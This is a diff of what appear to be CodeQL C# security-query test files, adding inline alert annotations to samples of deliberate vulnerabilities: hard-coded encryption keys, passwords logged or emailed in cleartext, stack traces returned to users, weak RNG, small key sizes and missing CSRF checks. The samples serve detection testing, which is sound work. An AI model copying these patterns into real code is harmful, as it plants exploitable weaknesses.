Alert[cs/sensitive-data-transmission]=r3 + ctx.Response.Write(ex.ToString()); // BAD // $ Alert[cs/sensitive-data-transmission]=r4 $ Alert[cs/sensitive-data-transmission]=r4 + ctx.Response.Write(ex.Data["password"]); // BAD // $ Alert[cs/sensitive-data-transmission]=r5 $ Alert[cs/sensitive-data-transmission]=r5 } } void SendPasswordToEmail() { - var p = GetField("password"); // p is now tainted - var message = new MailMessage("from", "to", p, p); // BAD - message.Body = "This is your password: " + p; // BAD - message.Subject = p; // BAD + var p = GetField("password"); // p is now tainted // $ Source[cs/sensitive-data-transmission]=r6 $ Source[cs/sensitive-data-transmission]=r7 $ Source[cs/sensitive-data-transmission]=r8 $ Source[cs/sensitive-data-transmission]=r9 + var message = new MailMessage("from", "to", p, p); // BAD // $ Alert[cs/sensitive-data-transmission]=r6 $ Alert[cs/sensitive-data-transmission]=r7 + message.Body = "This is your password: " + p; // BAD // $ Alert[cs/sensitive-data-transmission]=r8 + message.Subject = p; // BAD // $ Alert[cs/sensitive-data-transmission]=r9 } string GetField(string field) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.qlref b/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.qlref index 9ce9ee5643ef..0c2eb8d2b2cc 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-201/ExposureInTransmittedData/ExposureInTransmittedData.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-201/ExposureInTransmittedData.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.cs b/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.cs index 74b3fc4dd4d0..c9dc15fcce87 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.cs @@ -16,11 +16,11 @@ public void ProcessRequest(HttpContext ctx) catch (Exception ex) { // BAD: printing a stack trace back to the response - ctx.Response.Write(ex.ToString()); + ctx.Response.Write(ex.ToString()); // $ Alert[cs/information-exposure-through-exception]=r1 $ Alert[cs/information-exposure-through-exception]=r1 // BAD: implicitly printing a stack trace back to the response - ctx.Response.Write(ex); + ctx.Response.Write(ex); // $ Alert[cs/information-exposure-through-exception]=r2 $ Alert[cs/information-exposure-through-exception]=r2 // BAD: writing StackTrace property to response - ctx.Response.Write(ex.StackTrace); + ctx.Response.Write(ex.StackTrace); // $ Alert[cs/information-exposure-through-exception]=r3 $ Alert[cs/information-exposure-through-exception]=r3 // GOOD: writing Message property to response ctx.Response.Write(ex.Message); return; @@ -36,15 +36,15 @@ public void ProcessRequest(HttpContext ctx) log("Exception occurred", ex); ctx.Response.Write("Exception occurred"); - textBox.Text = ex.InnerException.StackTrace; // BAD - textBox.Text = ex.StackTrace; // BAD - textBox.Text = ex.ToString(); // BAD + textBox.Text = ex.InnerException.StackTrace; // BAD // $ Alert[cs/information-exposure-through-exception]=r4 $ Alert[cs/information-exposure-through-exception]=r4 + textBox.Text = ex.StackTrace; // BAD // $ Alert[cs/information-exposure-through-exception]=r5 $ Alert[cs/information-exposure-through-exception]=r5 + textBox.Text = ex.ToString(); // BAD // $ Alert[cs/information-exposure-through-exception]=r6 $ Alert[cs/information-exposure-through-exception]=r6 textBox.Text = ex.Message; // GOOD return; } // BAD: printing a stack trace back to the response for a custom exception - ctx.Response.Write(new MyException().ToString()); + ctx.Response.Write(new MyException().ToString()); // $ Alert[cs/information-exposure-through-exception]=r7 $ Alert[cs/information-exposure-through-exception]=r7 } class MyException : Exception diff --git a/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.qlref b/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.qlref index e8813fef7a81..295c9e8cc57b 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-209/ExceptionInformationExposure.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-209/ExceptionInformationExposure.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/MissingASPNETGlobalErrorHandler.qlref b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/MissingASPNETGlobalErrorHandler.qlref index fa43c8d49bec..521ec9079e0e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/MissingASPNETGlobalErrorHandler.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/MissingASPNETGlobalErrorHandler.qlref @@ -1 +1,2 @@ -Security Features/CWE-248/MissingASPNETGlobalErrorHandler.ql \ No newline at end of file +query: Security Features/CWE-248/MissingASPNETGlobalErrorHandler.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config index 768c965080c1..d04829109d33 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOff/Web.config @@ -2,6 +2,6 @@ - + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOffButGlobal/MissingASPNETGlobalErrorHandler.qlref b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOffButGlobal/MissingASPNETGlobalErrorHandler.qlref index fa43c8d49bec..521ec9079e0e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOffButGlobal/MissingASPNETGlobalErrorHandler.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-248/MissingASPNETGlobalErrorHandler/WebConfigOffButGlobal/MissingASPNETGlobalErrorHandler.qlref @@ -1 +1,2 @@ -Security Features/CWE-248/MissingASPNETGlobalErrorHandler.ql \ No newline at end of file +query: Security Features/CWE-248/MissingASPNETGlobalErrorHandler.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/MissingAccessControl.qlref b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/MissingAccessControl.qlref index a4173778d9fa..8bfd3b626d1f 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/MissingAccessControl.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/MissingAccessControl.qlref @@ -1 +1,2 @@ -Security Features/CWE-285/MissingAccessControl.ql +query: Security Features/CWE-285/MissingAccessControl.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/EditProfile.aspx.cs b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/EditProfile.aspx.cs index b023dc11e80f..cf1be0cfbfea 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/EditProfile.aspx.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/EditProfile.aspx.cs @@ -7,7 +7,7 @@ private void doThings() { } private bool isAuthorized() { return false; } // BAD: The class name indicates that this may be an Edit method, but there is no auth check - protected void btn1_Click(object sender, EventArgs e) { + protected void btn1_Click(object sender, EventArgs e) { // $ Alert doThings(); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/ViewProfile.aspx.cs b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/ViewProfile.aspx.cs index f9d7316d50b2..4ed7b777d2bf 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/ViewProfile.aspx.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test1/ViewProfile.aspx.cs @@ -11,7 +11,7 @@ protected void btn_safe_Click(object sender, EventArgs e) { } // BAD: The name indicates a Delete method, but no auth is present. - protected void btn_delete1_Click(object sender, EventArgs e) { + protected void btn_delete1_Click(object sender, EventArgs e) { // $ Alert doThings(); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test3/B/EditProfile.aspx.cs b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test3/B/EditProfile.aspx.cs index 4b7697f0f88d..13b9f4dd5b5e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test3/B/EditProfile.aspx.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-285/MissingAccessControl/WebFormsTests/Test3/B/EditProfile.aspx.cs @@ -5,7 +5,7 @@ class EditProfile4 : System.Web.UI.Page { private void doThings() { } // BAD: The Web.config file does not specify auth for this path. - protected void btn1_Click(object sender, EventArgs e) { + protected void btn1_Click(object sender, EventArgs e) { // $ Alert doThings(); } } \ No newline at end of file diff --git a/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.cs b/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.cs index 74a5568b6683..322d755f4ed5 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.cs @@ -12,10 +12,10 @@ public class ClearTextStorageHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { // BAD: Setting a cookie value or values with sensitive data. - ctx.Response.Cookies["MyCookie"].Value = accountKey; - ctx.Response.Cookies["MyOtherCookie"]["Sensitive"] = GetPassword(); - ctx.Response.Cookies["MyOtherCookie"].Values["Sensitive"] = GetPassword(); - ctx.Response.Cookies["MyCookie"].Value = GetAccountID(); + ctx.Response.Cookies["MyCookie"].Value = accountKey; // $ Alert + ctx.Response.Cookies["MyOtherCookie"]["Sensitive"] = GetPassword(); // $ Alert + ctx.Response.Cookies["MyOtherCookie"].Values["Sensitive"] = GetPassword(); // $ Alert + ctx.Response.Cookies["MyCookie"].Value = GetAccountID(); // $ Alert // GOOD: Encoding the value before setting it. ctx.Response.Cookies["MyCookie"].Value = Encode(accountKey, "Account key"); @@ -23,7 +23,7 @@ public void ProcessRequest(HttpContext ctx) ctx.Response.Cookies["MyCookie"].Value = GetAccountName(); ILogger logger = new ILogger(); // BAD: Logging sensitive data - logger.Warn(GetPassword()); + logger.Warn(GetPassword()); // $ Alert // GOOD: Logging encrypted sensitive data logger.Warn(Encode(GetPassword(), "Password")); @@ -31,7 +31,7 @@ public void ProcessRequest(HttpContext ctx) using (var writeStream = File.Open("passwords.txt", FileMode.Create)) { var writer = new StreamWriter(writeStream); - writer.Write(GetPassword()); + writer.Write(GetPassword()); // $ Alert writer.Close(); } @@ -91,9 +91,9 @@ public void OnButtonClicked() { box1.PasswordChar = '*'; box2.UseSystemPasswordChar = true; - logger.Warn(password.Text); // BAD - logger.Warn(box1.Text); // BAD - logger.Warn(box2.Text); // BAD + logger.Warn(password.Text); // BAD // $ Alert + logger.Warn(box1.Text); // BAD // $ Alert + logger.Warn(box2.Text); // BAD // $ Alert logger.Warn(box3.Text); // GOOD } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.qlref b/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.qlref index 0fda4720f54a..78dc420e9c8e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-312/CleartextStorage.qlref @@ -1 +1,2 @@ -Security Features/CWE-312/CleartextStorage.ql \ No newline at end of file +query: Security Features/CWE-312/CleartextStorage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.cs b/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.cs index 0c9c58d0d230..ff8600b85a81 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.cs @@ -14,21 +14,21 @@ static void Main(string[] args) var a = new AesCryptoServiceProvider(); // BAD: explicit key assignment, hard-coded value - a.Key = new byte[] { 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 }; + a.Key = new byte[] { 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 }; // $ Alert[cs/hardcoded-key]=r1 $ Alert[cs/hardcoded-key]=r1 var b = new AesCryptoServiceProvider() { // BAD: explicit key assignment, hard-coded value - Key = new byte[] { 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 } + Key = new byte[] { 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 } // $ Alert[cs/hardcoded-key]=r2 $ Alert[cs/hardcoded-key]=r2 }; - var c = new byte[] { 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 }; + var c = new byte[] { 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 }; // $ Source[cs/hardcoded-key]=r3 $ Source[cs/hardcoded-key]=r4 $ Source[cs/hardcoded-key]=r5 $ Source[cs/hardcoded-key]=r6 var d = c; - var byteArrayFromString = Encoding.UTF8.GetBytes("Hello, world: here is a very bad way to create a key"); + var byteArrayFromString = Encoding.UTF8.GetBytes("Hello, world: here is a very bad way to create a key"); // $ Source[cs/hardcoded-key]=r7 // BAD: key assignment via variable, from hard-coded value - a.Key = d; + a.Key = d; // $ Alert[cs/hardcoded-key]=r3 // GOOD (not really, but better than hard coding) a.Key = File.ReadAllBytes("secret.key"); @@ -65,7 +65,7 @@ public static string Decrypt(byte[] cipherText, byte[] password, byte[] IV) { using (MemoryStream ms = new MemoryStream()) { - using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(password, IV), CryptoStreamMode.Write)) + using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(password, IV), CryptoStreamMode.Write)) // $ Alert[cs/hardcoded-key]=r4 { cs.Write(cipherText, 0, cipherText.Length); } @@ -105,7 +105,7 @@ static SymmetricAlgorithm CreateProvider(byte[] key) return new AesManaged() { // BAD: assignment from parameter - Key = key + Key = key // $ Alert[cs/hardcoded-key]=r5 }; } @@ -118,7 +118,7 @@ public static byte[] Encrypt(string plaintext, byte[] key, byte[] IV) using (MemoryStream ms = new MemoryStream()) { // BAD: flow of hardcoded key to CreateEncryptor constructor - using (CryptoStream cs = new CryptoStream(ms, aes.CreateEncryptor(key, IV), CryptoStreamMode.Write)) + using (CryptoStream cs = new CryptoStream(ms, aes.CreateEncryptor(key, IV), CryptoStreamMode.Write)) // $ Alert[cs/hardcoded-key]=r6 $ Alert[cs/hardcoded-key]=r7 { cs.Write(rawPlaintext, 0, rawPlaintext.Length); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.qlref b/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.qlref index 5ec9c0d849c1..6006de2bd61b 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-321/HardcodedSymmetricEncryptionKey/HardcodedSymmetricEncryptionKey.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-321/HardcodedEncryptionKey.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/DontInstallRootCert.qlref b/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/DontInstallRootCert.qlref index f023214a7848..da9f5248b379 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/DontInstallRootCert.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/DontInstallRootCert.qlref @@ -1 +1,2 @@ -Security Features/CWE-327/DontInstallRootCert.ql \ No newline at end of file +query: Security Features/CWE-327/DontInstallRootCert.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/Test.cs b/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/Test.cs index 8323889cffdd..1c6e3d5e31ff 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/Test.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-327/DontInstallRootCert/Test.cs @@ -12,20 +12,20 @@ public class Class1 public void InstallRootCert() { string file = "mytest.pfx"; // Contains name of certificate file - X509Store store = new X509Store(StoreName.Root); + X509Store store = new X509Store(StoreName.Root); // $ Source store.Open(OpenFlags.ReadWrite); // BAD: adding a certificate to the Root store - store.Add(new X509Certificate2(X509Certificate2.CreateFromCertFile(file))); + store.Add(new X509Certificate2(X509Certificate2.CreateFromCertFile(file))); // $ Alert store.Close(); } public void InstallRootCert2() { string file = "mytest.pfx"; // Contains name of certificate file - X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser); + X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser); // $ Source store.Open(OpenFlags.ReadWrite); // BAD: adding a certificate to the Root store - store.Add(new X509Certificate2(X509Certificate2.CreateFromCertFile(file))); + store.Add(new X509Certificate2(X509Certificate2.CreateFromCertFile(file))); // $ Alert store.Close(); } @@ -67,10 +67,10 @@ public void InstallRootCertRange() new X509Certificate2(X509Certificate2.CreateFromCertFile(file1)), new X509Certificate2(X509Certificate2.CreateFromCertFile(file2)), }; - X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser); + X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser); // $ Source store.Open(OpenFlags.ReadWrite); // BAD: adding multiple certificates to the Root store - store.AddRange(new X509Certificate2Collection(certCollection)); + store.AddRange(new X509Certificate2Collection(certCollection)); // $ Alert store.Close(); } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.cs b/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.cs index a433d5493851..755130ee32fa 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.cs @@ -41,24 +41,24 @@ public void StringInInitializer() public void TriggerThis() { // BAD, Encrypt not specified - SqlConnection conn = new SqlConnection("Server=myServerName\\myInstanceName;Database=myDataBase;User Id=myUsername;"); + SqlConnection conn = new SqlConnection("Server=myServerName\\myInstanceName;Database=myDataBase;User Id=myUsername;"); // $ Alert } void Test4() { string connectString = - "Server=1.2.3.4;Database=Anything;UID=ab;Pwd=cd"; + "Server=1.2.3.4;Database=Anything;UID=ab;Pwd=cd"; // $ Source // BAD, Encrypt not specified - SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); + SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); // $ Alert var conn = new SqlConnection(builder.ConnectionString); } void Test5() { string connectString = - "Server=1.2.3.4;Database=Anything;UID=ab;Pwd=cd;Encrypt=false"; + "Server=1.2.3.4;Database=Anything;UID=ab;Pwd=cd;Encrypt=false"; // $ Source // BAD, Encrypt set to false - SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); + SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); // $ Alert var conn = new SqlConnection(builder.ConnectionString); } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.qlref b/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.qlref index 9809e87e73c5..cd92f9704736 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-327/InsecureSQLConnection/InsecureSQLConnection.qlref @@ -1 +1,2 @@ -Security Features/CWE-327/InsecureSQLConnection.ql \ No newline at end of file +query: Security Features/CWE-327/InsecureSQLConnection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.cs b/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.cs index 56f600e3544d..1d4d4efa7baa 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.cs @@ -7,21 +7,21 @@ public class InsufficientKeySize public void CryptoMethod() { // BAD: Key size is less than 128 - new RC2CryptoServiceProvider().EffectiveKeySize = 64; + new RC2CryptoServiceProvider().EffectiveKeySize = 64; // $ Alert // GOOD: Key size defaults to 128 new RC2CryptoServiceProvider(); // GOOD: Key size is greater than 128 new RC2CryptoServiceProvider().EffectiveKeySize = 256; // BAD: Key size is less than 2048. - DSACryptoServiceProvider dsaBad = new DSACryptoServiceProvider(512); + DSACryptoServiceProvider dsaBad = new DSACryptoServiceProvider(512); // $ Alert // GOOD: Key size defaults to 2048. DSACryptoServiceProvider dsaGood1 = new DSACryptoServiceProvider(); // GOOD: Key size is greater than 2048. DSACryptoServiceProvider dsaGood2 = new DSACryptoServiceProvider(2048); // BAD: Key size is less than 2048. - RSACryptoServiceProvider rsaBad = new RSACryptoServiceProvider(512); + RSACryptoServiceProvider rsaBad = new RSACryptoServiceProvider(512); // $ Alert // GOOD: Key size defaults to 2048. RSACryptoServiceProvider rsaGood1 = new RSACryptoServiceProvider(); // GOOD: Key size is greater than 2048. diff --git a/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.qlref b/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.qlref index 9b9050c417b4..2e460bd79e19 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-327/InsufficientKeySize/InsufficientKeySize.qlref @@ -1 +1,2 @@ -Security Features/InsufficientKeySize.ql \ No newline at end of file +query: Security Features/InsufficientKeySize.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.cs b/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.cs index 58241499c66b..93edb1e318ec 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.cs @@ -9,9 +9,9 @@ public class InsecureRandomness public void RandomTest() { // BAD: Using insecure RNG to generate password - string password = InsecureRandomString(10); - password = InsecureRandomStringFromSelection(10); - password = InsecureRandomStringFromIndexer(10); + string password = InsecureRandomString(10); // $ Alert[cs/insecure-randomness]=r1 + password = InsecureRandomStringFromSelection(10); // $ Alert[cs/insecure-randomness]=r2 + password = InsecureRandomStringFromIndexer(10); // $ Alert[cs/insecure-randomness]=r3 // IGNORE - do not track further than the first assignment to a tainted variable string passwd = password; // GOOD: Use cryptographically secure RNG @@ -25,7 +25,7 @@ public static string InsecureRandomString(int length) byte[] data = new byte[1]; while (result.Length < length) { - data[0] = (byte)r.Next(97, 122); + data[0] = (byte)r.Next(97, 122); // $ Source[cs/insecure-randomness]=r1 result.Append(new ASCIIEncoding().GetString(data)); } return result.ToString(); @@ -57,7 +57,7 @@ public static string InsecureRandomStringFromSelection(int length) Random r = new Random(); while (result.Length < length) { - result += letters[r.Next(3)]; + result += letters[r.Next(3)]; // $ Source[cs/insecure-randomness]=r2 } return result.ToString(); } @@ -69,7 +69,7 @@ public static string InsecureRandomStringFromIndexer(int length) Random r = new Random(); while (result.Length < length) { - result += letters[r.Next(3)]; + result += letters[r.Next(3)]; // $ Source[cs/insecure-randomness]=r3 } return result; } @@ -77,7 +77,7 @@ public static string InsecureRandomStringFromIndexer(int length) public static string BiasPasswordGeneration() { // BAD: Membership.GeneratePassword generates a password with a bias - string password = System.Web.Security.Membership.GeneratePassword(12, 3); + string password = System.Web.Security.Membership.GeneratePassword(12, 3); // $ Alert[cs/insecure-randomness]=r4 $ Alert[cs/insecure-randomness]=r4 return password; } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.qlref b/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.qlref index b2198beb2b45..a79d744ce61c 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-338/InsecureRandomness.qlref @@ -1,2 +1,4 @@ query: Security Features/InsecureRandomness.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-352/global/MissingAntiForgeryTokenValidation.qlref b/csharp/ql/test/query-tests/Security Features/CWE-352/global/MissingAntiForgeryTokenValidation.qlref index 38fdc5c57385..8948b9773a2d 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-352/global/MissingAntiForgeryTokenValidation.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-352/global/MissingAntiForgeryTokenValidation.qlref @@ -1 +1,2 @@ -Security Features/CWE-352/MissingAntiForgeryTokenValidation.ql \ No newline at end of file +query: Security Features/CWE-352/MissingAntiForgeryTokenValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.cs b/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.cs index e9e5202b40ab..2b9f3974234c 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.cs @@ -4,7 +4,7 @@ public class HomeController : Controller { // BAD: Anti forgery token has been forgotten [HttpPost] - public ActionResult Login() + public ActionResult Login() // $ Alert[cs/web/missing-token-validation] { return View(); } @@ -55,7 +55,7 @@ public class DerivedUnprotectedController : UnprotectedBaseController { // BAD: No antiforgery validation on this or any base class [HttpPost] - public ActionResult NoInheritedValidation() + public ActionResult NoInheritedValidation() // $ Alert[cs/web/missing-token-validation] { return View(); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.qlref b/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.qlref index 5e1ab2426c65..8948b9773a2d 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-352/missing-aspnetcore/MissingAntiForgeryTokenValidation.qlref @@ -1 +1,2 @@ query: Security Features/CWE-352/MissingAntiForgeryTokenValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-352/missing/MissingAntiForgeryTokenValidation.cs b/csharp/ql/test/query-tests/Security Features/CWE-352/missing/MissingAntiForgeryTokenValidation.cs index a86800e51529..ab258cddf3f7 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-352/missing/MissingAntiForgeryTokenValidation.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-352/missing/MissingAntiForgeryTokenValidation.cs @@ -4,7 +4,7 @@ public class HomeController : Controller { // BAD: Anti forgery token has been forgotten [HttpPost] - public ActionResult Login() + public ActionResult Login() // $ Alert { return View(); } @@ -55,7 +55,7 @@ public class DerivedUnprotectedController : UnprotectedBaseController { // BAD: No antiforgery validation on this or any base class [HttpPost] - public ActionResult NoInheritedValidation() + public ActionResult NoInheritedValidation() // $ Alert { return View(); } diff --git a/csharp/ql/test/query-tests/Security 